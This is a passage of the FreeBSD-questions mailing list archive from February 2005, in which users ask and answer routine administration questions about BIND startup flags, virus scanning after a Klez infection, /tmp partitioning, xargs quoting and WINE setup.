owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 19:38:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5F7FE16A4CE for ; Fri, 11 Feb 2005 19:38:15 +0000 (GMT) Received: from ritamari.vonostingroup.com (ip193-230.digitalrealm.net [216.144.193.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id AA20B43D3F for ; Fri, 11 Feb 2005 19:38:14 +0000 (GMT) (envelope-from laszlof@tvog.net) Received: from adsl-68-72-248-38.dsl.sfldmi.ameritech.net ([68.72.248.38] helo=tvog.net) by ritamari.vonostingroup.com with esmtpa (Exim 4.44 (FreeBSD)) id 1Czgbw-000Etn-O1; Fri, 11 Feb 2005 14:37:52 -0500 Message-ID: <420D09A5.40707@tvog.net> Date: Fri, 11 Feb 2005 14:38:13 -0500 From: Frank Laszlo User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: aklist_061666 References: <00e901c51070$4ed460d0$0b01a8c0@enigmedia.net> In-Reply-To: <00e901c51070$4ed460d0$0b01a8c0@enigmedia.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ritamari.vonostingroup.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - tvog.net X-Source: X-Source-Args: X-Source-Dir: cc: freebsd-questions@freebsd.org Subject: Re: Newbie: where is the startup configuration line for BIND? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 19:38:15 -0000 aklist_061666 wrote: > Hi All: > > I just upgraded from freebsd 5.1 to 5.3, and I want to edit the > startup parameters for named so that it reads my previous config file, > basically I want the startup parameter to be: > > /usr/sbin/named -4 -c /etc/named.conf > > But I can't find where that command string is? > > all that is in my /etc/rc.conf is "named_enable="YES" " > > I have another file called /etc/rc.conf~ which has the line: > > "named_program="/urs/sbin/named" " > > But is that file a backup file or is it actually used? > > Or do I just need to modify that line with the parameters I want it to > start up with? > > Thanks! > (14:36:08) [laszlof@ritamari ~]% grep named /etc/defaults/rc.conf <..snip..> named_enable="NO" # Run named, the DNS server (or NO). named_program="/usr/sbin/named" # path to named, if you want a different one. named_flags="-u bind" # Flags for named <..snip..> Add the approapriote lines to /etc/rc.conf and you're all set. DO NOT, I repeat, DO NOT EDIT /etc/defaults/rc.conf. put overrides for it in /etc/rc.conf. __________________________________________________ Frank Laszlo System Administrator The VonOstin Group Email: laszlof@tvog.net WWW: http://www.vonostingroup.com Mobile: 248-863-7584 From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 19:45:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4F9AD16A4CE for ; Fri, 11 Feb 2005 19:45:27 +0000 (GMT) Received: from out012.verizon.net (out012pub.verizon.net [206.46.170.137]) by mx1.FreeBSD.org (Postfix) with ESMTP id C58E143D31 for ; Fri, 11 Feb 2005 19:45:26 +0000 (GMT) (envelope-from leblanc@keyslapper.org) Received: from keyslapper.org ([68.163.189.143]) by out012.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050211194526.NEYQ15978.out012.verizon.net@keyslapper.org> for ; Fri, 11 Feb 2005 13:45:26 -0600 Received: from localhost (localhost [127.0.0.1]) by keyslapper.org (Postfix) with ESMTP id 2FC4311BA6 for ; Fri, 11 Feb 2005 14:45:25 -0500 (EST) Received: from keyslapper.org ([127.0.0.1]) by localhost (keyslapper.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 13977-10 for ; Fri, 11 Feb 2005 14:45:17 -0500 (EST) Received: by keyslapper.org (Postfix, from userid 1001) id 82BE511B0A; Fri, 11 Feb 2005 14:45:17 -0500 (EST) Date: Fri, 11 Feb 2005 14:45:17 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050211194517.GJ1404@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <20050211135111.D33012@gwhs.kana.k12.wv.us> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="TYecfFk8j8mZq+dy" Content-Disposition: inline In-Reply-To: <20050211135111.D33012@gwhs.kana.k12.wv.us> X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.7i X-Virus-Scanned: amavisd-new at keyslapper.net X-Authentication-Info: Submitted using SMTP AUTH at out012.verizon.net from [68.163.189.143] at Fri, 11 Feb 2005 13:45:25 -0600 Subject: Re: Virus question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 19:45:27 -0000 --TYecfFk8j8mZq+dy Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On 02/11/05 01:55 PM, Karen Donathan sat at the `puter and typed: > To Whom it may concern: >=20 > My name is Karen Donathan and I am a computer science teacher at > George Washington High School in Charleston, WV. We run our website > (http://gwhs.kana.k12.wv.us) on a FreeBSD server. This project was > given to me, and I am afraid that I really should know more about > how this works. >=20 > My question is as follows: How can I run a virus scan on my system? > What scan do you recommend? >=20 > The reason I am asking this question is that our school system > administrator just found that there were some files infected with > Klez.h in the webroot directory of our server. He found this out as > he downloaded some files from this directory to our Windows-XP > school server, and Norton flagged it right away. I was doing the same thing last night at 11:30. Norton flagged over 100 instances of Klez on my sister-in-laws business computer. There were at least a dozen others, including a keylogger, backdoor, and at least 8 other trojans, but Klez was definitely the most proliferated. Fun, ain't it? > Any suggestions? As suggested by another poster, Clam-AV. I use it and it catches all kinds of nasties. There is also f-prot, which you can set up as a backup scanner through Amavisd-new. I use Amavisd-new with postfix as my SMTP server, but if you're using Sendmail, there may be other options you want to check out. Start with the handbook: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/index.html particularly chapter 4, if you're not familiar with the ports, and chapter 22 to get a good overview of the options involving email. Good luck Lou --=20 Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint =3D C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 Corry's Law: Paper is always strongest at the perforations. --TYecfFk8j8mZq+dy Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCDQtNr4Wi/oDI2aIRAnPKAJ48H8NEoxr1uTjhenyoUhZFca9RlwCdH9nr LM7cAhQv9ZeKaPBILbn8uXk= =f0WM -----END PGP SIGNATURE----- --TYecfFk8j8mZq+dy-- From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 20:07:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 68A2916A4F3 for ; Fri, 11 Feb 2005 20:07:03 +0000 (GMT) Received: from lilzmailso02.liwest.at (lilzmailso02.liwest.at [212.33.55.24]) by mx1.FreeBSD.org (Postfix) with ESMTP id EBB5443D39 for ; Fri, 11 Feb 2005 20:07:02 +0000 (GMT) (envelope-from dgw@liwest.at) Received: from cm248-169.liwest.at ([81.10.248.169]) by lilzmailso02.liwest.at with esmtp (Exim 4.24) id 1Czh49-0006mG-7x for questions@freebsd.org; Fri, 11 Feb 2005 21:07:01 +0100 From: Daniela To: questions@freebsd.org Date: Fri, 11 Feb 2005 22:06:43 +0000 User-Agent: KMail/1.5.3 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502112206.43267.dgw@liwest.at> Subject: How do I set the source address on a multi-homed host? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: dgw@liwest.at List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 20:07:03 -0000 I have two NICs (one inside and one outside interface) with NAT activated. The problem is that every time I establish a connection with a machine on my LAN, it uses the address of the outside interface as the source of the packets, which creates problems with my firewall. How do I tell my machine to use the other address whenever I connect to a local machine? Daniela From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 20:13:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 899E516A4CE for ; Fri, 11 Feb 2005 20:13:42 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.199]) by mx1.FreeBSD.org (Postfix) with ESMTP id E6C8F43D41 for ; Fri, 11 Feb 2005 20:13:41 +0000 (GMT) (envelope-from cmorland@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so1535617wri for ; Fri, 11 Feb 2005 12:13:39 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=lL5ylGGf41bLW+JwqMNEtLEdFXbMvZFSy9c1Hkf38msYul6GrhTrzVafWd44pvdlayuTXPrNjKRHuOTGc2rA2A3nqX7b84jAet+EZOxuhiBuslZ8JTfPAzbsjBEQIUaWmxKEFPBfZtxg4+NG8KQ5AbmkV9seG2Eurf7jZDREeEE= Received: by 10.54.44.50 with SMTP id r50mr29456wrr; Fri, 11 Feb 2005 12:13:38 -0800 (PST) Received: by 10.54.28.49 with HTTP; Fri, 11 Feb 2005 12:13:38 -0800 (PST) Message-ID: <8ca932905021112136ad00369@mail.gmail.com> Date: Fri, 11 Feb 2005 15:13:38 -0500 From: Chad Morland To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: /tmp on same partition as / X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Chad Morland List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 20:13:42 -0000 I'm setting up a mail server at the momment, one of the things that I forgot to do was create /tmp as a separate partiton (/ = 2gb). There will be no user logins to the machine aside from admins and the only thing that it will run is qmail acting as a smarthost (vanilla qmail, no amavis or anything of the sort.) In your opinion is having /tmp on the same partition as / really THAT bad in this case? I'm just wondering cause some people have mentioned that its a major security risk. Really, I don't think it is for what this box is doing. -CM From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 20:13:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5D94016A4CE for ; Fri, 11 Feb 2005 20:13:45 +0000 (GMT) Received: from enigmedia.com (mail.enigmedia.com [207.158.46.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id 396E243D1F for ; Fri, 11 Feb 2005 20:13:45 +0000 (GMT) (envelope-from aklist_061666@enigmedia.com) Received: from ANDREW9KNFJ0JD (68.161.247.47) by enigmedia.com with ESMTP (Eudora Internet Mail Server 3.2.6) for ; Fri, 11 Feb 2005 15:13:42 -0500 Message-ID: <010e01c51076$41b714f0$0b01a8c0@enigmedia.net> From: "aklist_061666" To: Date: Fri, 11 Feb 2005 15:14:13 -0500 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Subject: Newbie: BIND conf "file not found" error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 20:13:45 -0000 One last question on configuring Named to run: I'm able to start BIND from the command line with: /usr/sbin/named -c /etc/named.conf but when I modify my rc.conf file with: named_enable="YES" named_program="/usr/sbin/named" named_flags="-u bind -c /etc/named.conf" I get an error on startup: Feb 11 14:47:53 ns2 named[275]: none:0 open: /etc/named.conf: file not found Feb 11 14:47:53 ns2 named[275]: loading configruation: file not found Feb 11 14:47:53 ns2 named[275]: exiting (due to fatal error) what's wrong with my config-file path parameter in rc.conf? Thanks! From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 20:31:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C1D2916A4CF for ; Fri, 11 Feb 2005 20:31:29 +0000 (GMT) Received: from fincher.users.accretive-networks.net (fincher.users.accretive-networks.net [216.127.44.4]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5D03043D31 for ; Fri, 11 Feb 2005 20:31:29 +0000 (GMT) (envelope-from atlev@flyingcroc.net) Received: from fincher.users.accretive-networks.net (localhost [127.0.0.1]) j1BKVOJj063327 for ; Fri, 11 Feb 2005 12:31:28 -0800 (PST) (envelope-from atlev@flyingcroc.net) Received: from localhost (atlev@localhost)ESMTP id j1BKVO8J063324 for ; Fri, 11 Feb 2005 12:31:24 -0800 (PST) (envelope-from atlev@flyingcroc.net) X-Authentication-Warning: fincher.users.accretive-networks.net: atlev owned process doing -bs Date: Fri, 11 Feb 2005 12:31:24 -0800 (PST) From: Atle Veka X-X-Sender: atlev@fincher.users.accretive-networks.net To: freebsd-questions@freebsd.org Message-ID: <20050211122205.X12600@fincher.users.accretive-networks.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: 5.3-RELEASE: Where is the blacklist referenced on the install disks? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 20:31:29 -0000 ASUS p2b-d motherboards are blacklisted on 5.3-RELEASE and refuse to install. Where is this blacklist located, I need to manually remove that block? The ASUS p2b-d motherboards are quite common, we have probably 100 or so left of them and have at one point had over 400. Seems really strange to me to exclude a popular motherboard on acpi issues... Thanks, Atle - Flying Crocodile Inc, Unix Systems Administrator From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 20:35:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4320A16A4CE for ; Fri, 11 Feb 2005 20:35:41 +0000 (GMT) Received: from mirapoint1.tis.cwru.edu (mirapoint1.TIS.CWRU.Edu [129.22.104.46]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8CF4743D2F for ; Fri, 11 Feb 2005 20:35:40 +0000 (GMT) (envelope-from ttt@cwru.edu) Received: from [129.22.151.155] (tagon.ENGINEERING.CWRU.Edu [129.22.151.155]) by mirapoint1.tis.cwru.edu (MOS 3.5.4-GR) with ESMTP id DYE58047 (AUTH ttt); Fri, 11 Feb 2005 15:35:20 -0500 (EST) Message-ID: <420D1705.4060802@cwru.edu> Date: Fri, 11 Feb 2005 15:35:17 -0500 From: Tom Trelvik User-Agent: Mozilla Thunderbird 1.0 (Macintosh/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <8ca932905021112136ad00369@mail.gmail.com> In-Reply-To: <8ca932905021112136ad00369@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: /tmp on same partition as / X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 20:35:41 -0000 Chad Morland wrote: > In your opinion is having /tmp on the same partition as / really THAT > bad in this case? I'm just wondering cause some people have mentioned > that its a major security risk. Really, I don't think it is for what > this box is doing. It's obviously a much bigger security risk on a multiuser machine, but even without that being the case, I'm assuming the machine will be providing some sort of network service? Then it can still be a risk worth taking into account. One or more network services may be making use of /tmp, and if so an unauthenticated external user could plausibly find ways to make those services max out their usage of /tmp, possibly filling your root partition in the process. Even without worrying at all about malicious intent, /tmp on / makes it very easily to *accidentally* fill your root partition, but'll still be a pain for you to have to deal with it if that happens. More seriously, a vulnerability could be found in one of those services that could depend on files in /tmp being executable (which should never be true). With a separate /tmp partition, you can easily have it mounted with the noexec option for an added layer of security, so that even if they create a malicious executable in /tmp, they won't be able to execute it without moving it to another file system, which would probably require they already have shell access, defeating the purpose. Tom From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 20:37:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 781A516A4CE for ; Fri, 11 Feb 2005 20:37:28 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id B8A2043D1D for ; Fri, 11 Feb 2005 20:37:27 +0000 (GMT) (envelope-from ean@hedron.org) Received: from www.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id 45F22C0C5 for ; Fri, 11 Feb 2005 15:37:38 -0500 (EST) Received: from 216.220.59.169 (SquirrelMail authenticated user ean); by www.hedron.org with HTTP; Fri, 11 Feb 2005 15:37:38 -0500 (EST) Message-ID: <3836.216.220.59.169.1108154258.squirrel@216.220.59.169> In-Reply-To: <20050211194517.GJ1404@keyslapper.net> References: <20050211135111.D33012@gwhs.kana.k12.wv.us> <20050211194517.GJ1404@keyslapper.net> Date: Fri, 11 Feb 2005 15:37:38 -0500 (EST) From: "Ean Kingston" To: freebsd-questions@FreeBSD.org User-Agent: SquirrelMail/1.4.3a X-Mailer: SquirrelMail/1.4.3a MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Subject: Re: Virus question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 20:37:28 -0000 > On 02/11/05 01:55 PM, Karen Donathan sat at the `puter and typed: >> To Whom it may concern: >> >> My name is Karen Donathan and I am a computer science teacher at >> George Washington High School in Charleston, WV. We run our website >> (http://gwhs.kana.k12.wv.us) on a FreeBSD server. This project was >> given to me, and I am afraid that I really should know more about >> how this works. >> >> My question is as follows: How can I run a virus scan on my system? >> What scan do you recommend? f-prot makes a virus scanner for FreeBSD. http://www.f-prot.com/products/corporate_users/unix/ >> The reason I am asking this question is that our school system >> administrator just found that there were some files infected with >> Klez.h in the webroot directory of our server. Do you know how the virus got into the webroot of your server? You should find out. >> He found this out as >> he downloaded some files from this directory to our Windows-XP >> school server, and Norton flagged it right away. > > I was doing the same thing last night at 11:30. Norton flagged over > 100 instances of Klez on my sister-in-laws business computer. There > were at least a dozen others, including a keylogger, backdoor, and at > least 8 other trojans, but Klez was definitely the most proliferated. > Fun, ain't it? > >> Any suggestions? > > As suggested by another poster, Clam-AV. I use it and it catches all > kinds of nasties. There is also f-prot, which you can set up as a > backup scanner through Amavisd-new. > > I use Amavisd-new with postfix as my SMTP server, but if you're using > Sendmail, there may be other options you want to check out. Start > with the handbook: > http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/index.html > particularly chapter 4, if you're not familiar with the ports, and > chapter 22 to get a good overview of the options involving email. > > Good luck > > Lou > -- > Louis LeBlanc FreeBSD-at-keyslapper-DOT-net > Fully Funded Hobbyist, KeySlapper Extrordinaire :) > Please send off-list email to: leblanc at keyslapper d.t net > Key fingerprint = C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 > > Corry's Law: > Paper is always strongest at the perforations. > -- Ean Kingston E-Mail: ean_AT_hedron_DOT_org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 20:37:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B0BDF16A4CE for ; Fri, 11 Feb 2005 20:37:47 +0000 (GMT) Received: from clunix.cl.msu.edu (clunix.cl.msu.edu [35.9.2.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id 48BA343D46 for ; Fri, 11 Feb 2005 20:37:47 +0000 (GMT) (envelope-from jerrymc@clunix.cl.msu.edu) Received: (from jerrymc@localhost) by clunix.cl.msu.edu (8.11.7p1+Sun/8.11.7) id j1BKbjm00322; Fri, 11 Feb 2005 15:37:45 -0500 (EST) From: Jerry McAllister Message-Id: <200502112037.j1BKbjm00322@clunix.cl.msu.edu> To: cmorland@gmail.com Date: Fri, 11 Feb 2005 15:37:44 -0500 (EST) In-Reply-To: <8ca932905021112136ad00369@mail.gmail.com> from "Chad Morland" at Feb 11, 2005 03:13:38 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: /tmp on same partition as / X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 20:37:47 -0000 > > I'm setting up a mail server at the momment, one of the things that I > forgot to do was create /tmp as a separate partiton (/ = 2gb). There > will be no user logins to the machine aside from admins and the only > thing that it will run is qmail acting as a smarthost (vanilla qmail, > no amavis or anything of the sort.) > > In your opinion is having /tmp on the same partition as / really THAT > bad in this case? I'm just wondering cause some people have mentioned > that its a major security risk. Really, I don't think it is for what > this box is doing. I suppose it could have some security implications, but it is not so much a security risk as a potential functional problem. It is possible for something to begin writing an unexpectedly large amount of stuff to /tmp. If it is a separate file system, then that process will die or at least get stuck waiting when /tmp fills up. It could also affect any other processes trying to use /tmp for scratch space too. But, if you catch it reasonably soon, you can usuall just go in a nuke some unnecessary files and it will clean up OK. But, if it is in the root file system that means that root will get filled up. That makes it much more likely that the system will come to a grinding halt and be harder, probably impossible, to clean things up without taking the system down and mucking around in single user. ////jerry > > -CM From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 20:38:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5803116A4CE for ; Fri, 11 Feb 2005 20:38:24 +0000 (GMT) Received: from imf23aec.mail.bellsouth.net (imf23aec.mail.bellsouth.net [205.152.59.71]) by mx1.FreeBSD.org (Postfix) with ESMTP id 621D043D39 for ; Fri, 11 Feb 2005 20:38:23 +0000 (GMT) (envelope-from ken@broadjam.com) Received: from [192.168.1.96] ([66.156.1.50]) by imf23aec.mail.bellsouth.netESMTP <20050211203804.ISRF2276.imf23aec.mail.bellsouth.net@[192.168.1.96]> for ; Fri, 11 Feb 2005 15:38:04 -0500 Mime-Version: 1.0 (Apple Message framework v619.2) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: From: Ken Hawkins Date: Fri, 11 Feb 2005 15:38:00 -0500 X-Mailer: Apple Mail (2.619.2) Subject: ye ol xargs unterminated quote error, thought it was gone? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 20:38:24 -0000 when I use the usual: find . -type f -print | xargs grep -sl foobar i get; xargs unterminated quote error and have to use: find . -type f -print | sed 's/^\(.*\)$//'\1'/' | xargs grep -sl foobar to quote the output from find. anyone know a more elegant solution? thoughts? ken; From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 20:53:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CDC3516A4CE for ; Fri, 11 Feb 2005 20:53:15 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.193]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6B06743D5A for ; Fri, 11 Feb 2005 20:53:15 +0000 (GMT) (envelope-from dawgeestyle@gmail.com) Received: by rproxy.gmail.com with SMTP id a41so370806rng for ; Fri, 11 Feb 2005 12:53:13 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=nyqNKaEL/MprnO9CIVDC/cbO6MY3Peaj8iRiurpn19Y8cC6jcJTcI7DXZP4HCkBd5k8zs2YjJtcFXw/smfIPARXEbT8UP/ZyJQRKqIZjOreT0xFy5kd58wIJwktaeJh6MGBAvHSg36c9Kn5x3KQDiDnBT73DTysKrq26RfTa2Zs= Received: by 10.38.81.35 with SMTP id e35mr149482rnb; Fri, 11 Feb 2005 12:53:12 -0800 (PST) Received: by 10.38.73.32 with HTTP; Fri, 11 Feb 2005 12:53:12 -0800 (PST) Message-ID: <5ae9cd5505021112536a31ac84@mail.gmail.com> Date: Fri, 11 Feb 2005 15:53:12 -0500 From: Ben Dover To: Gary Kline In-Reply-To: <20050209172635.GA69442@thought.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050208234809.GA64598@thought.org> <42095227.7060008@scii.nl> <20050209172635.GA69442@thought.org> cc: albi cc: FreeBSD Mailing List Subject: Re: is there a cheat-sheet for WINE? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Ben Dover List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 20:53:15 -0000 I added the following to the top of my wine config file and the stoppable errors went away. [Drive C] "Path" = "/windows" "Type" = "hd" "Label" = "msdos" "Filesystem" = "win98" Note that "Path" = "/windows" is the directory i created to mount the windows partition in /etc/fstab Good luck On Wed, 9 Feb 2005 09:26:35 -0800, Gary Kline wrote: > On Wed, Feb 09, 2005 at 12:58:31AM +0100, albi wrote: > > Gary Kline wrote: > > > > > The sh tools/wineinstall did an incomplete job. I have > > > ~/.wine/config i nstalled, but I'm missing something because > > > runnning wine or wine --help yields: > > > > > > > > >fixme:file:get_default_drive_device auto detection of DOS devices not > > >supported on this platform > > >Warning: the specified Windows directory L"c:\\windows" is not > > >accessible. > > > > a few weeks ago i tried wine (and linux-winetools) from the ports in > > 5.3 and it worked pretty well (testing filezilla for windows-users) > > > > in linux there's usually the winesetup tool, but this was (not available > > and) not needed at all > > > > i would install wine from ports and do a rm -rf ~/.wine and try again > > > > Still no luck. The WINE website is aimed toward Linux > and as far as I can tell, the OnLamp article no longer > applies. Anybody else? > > gary > > -- > Gary Kline kline@thought.org www.thought.org Public service Unix > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 20:56:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8EB1916A4CE for ; Fri, 11 Feb 2005 20:56:06 +0000 (GMT) Received: from smtp4.server.rpi.edu (smtp4.server.rpi.edu [128.113.2.4]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0B7BF43D45 for ; Fri, 11 Feb 2005 20:56:06 +0000 (GMT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.netel.rpi.edu [128.113.24.47]) by smtp4.server.rpi.edu (8.13.0/8.13.0) with ESMTP id j1BKu2fZ016024; Fri, 11 Feb 2005 15:56:03 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> Date: Fri, 11 Feb 2005 15:56:01 -0500 To: Bart Silverstrim , freebsd-questions@freebsd.org From: Garance A Drosihn Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-CanItPRO-Stream: default X-RPI-SA-Score: undef - spam-scanning disabled X-Scanned-By: CanIt (www . canit . ca) Subject: Re: Please don't change Beastie to another crap logo such as 